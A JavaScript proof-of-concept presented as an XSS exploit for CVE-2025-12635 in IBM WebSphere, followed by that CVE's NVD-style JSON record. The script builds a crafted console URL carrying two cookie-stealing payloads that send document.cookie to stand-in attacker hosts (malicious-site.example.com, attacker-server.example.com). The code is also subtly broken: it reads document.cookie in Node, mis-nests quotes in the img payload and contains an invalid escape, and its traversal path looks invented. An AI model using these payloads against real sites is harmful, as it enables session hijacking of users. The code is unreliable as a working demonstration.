CVE-2025-12635

// CVE-2025-12635 XSS PoC for IBM WebSphere // This PoC demonstrates the XSS vulnerability in IBM WebSphere Application Server const http = require('http'); // Malicious URL with XSS payload // Replace TARGET_HOST with the vulnerable IBM WebSphere server address const TARGET_HOST = 'vulnerable-server.example.com'; const TARGET_PORT = 9443; // XSS payload that redirects user to malicious site // The payload exploits improper input validation in URL parameters const xssPayload = '<script>document.location="http://malicious-site.example.com/steal?cookie=' + encodeURIComponent(document.cookie) + '"</script>'; // Alternative XSS payload using img tag with onerror event const imgPayload = '<img src=x onerror="fetch('http://attacker-server.example.com/log?c='+document.cookie)"> '; // Construct the malicious URL const maliciousPath = '/ibm/console/portal/../../../;\u00fsome/path?param=' + encodeURIComponent(xssPayload); console.log('CVE-2025-12635 IBM WebSphere XSS PoC'); console.log('====================================='); console.log('Target:', TARGET_HOST + ':' + TARGET_PORT); console.log('Malicious URL:', 'https://' + TARGET_HOST + ':' + TARGET_PORT + maliciousPath); console.log(''); console.log('XSS Payload (URL encoded):', encodeURIComponent(xssPayload)); console.log(''); console.log('Note: This PoC demonstrates the vulnerability concept.'); console.log('The actual exploitation requires the victim to visit the malicious URL.');

{"cve": {"id": "CVE-2025-12635", "sourceIdentifier": "[email protected]", "published": "2025-12-08T22:15:49.390", "lastModified": "2025-12-11T00:01:21.897", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM WebSphere Application Server 8.5, 9.0 and IBM WebSphere Application Server Liberty 17.0.0.3 through 25.0.0.12 are affected by cross-site scripting due to improper validation of user-supplied input. An attacker could exploit this vulnerability by using a specially crafted URL to redirect the user to a malicious site."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:websphere_application_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.5", "versionEndExcluding": "8.5.5.29", "matchCriteriaId": "F3FAEFC6-15B9-4787-B3F6-4EC29BBC546C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:websphere_application_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.0", "versionEndExcluding": "9.0.5.27", "matchCriteriaId": "5016ACF6-369F-4554-9EFA-ACAE358BCC2A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:websphere_application_server:*:*:*:*:liberty:*:*:*", "versionStartIncluding": "17.0.0.3", "versionEndExcluding": "26.0.0.1", "matchCriteriaId": "7D2B4A85-1B09-41A9-8582-B6A8316583F9"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7254078", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}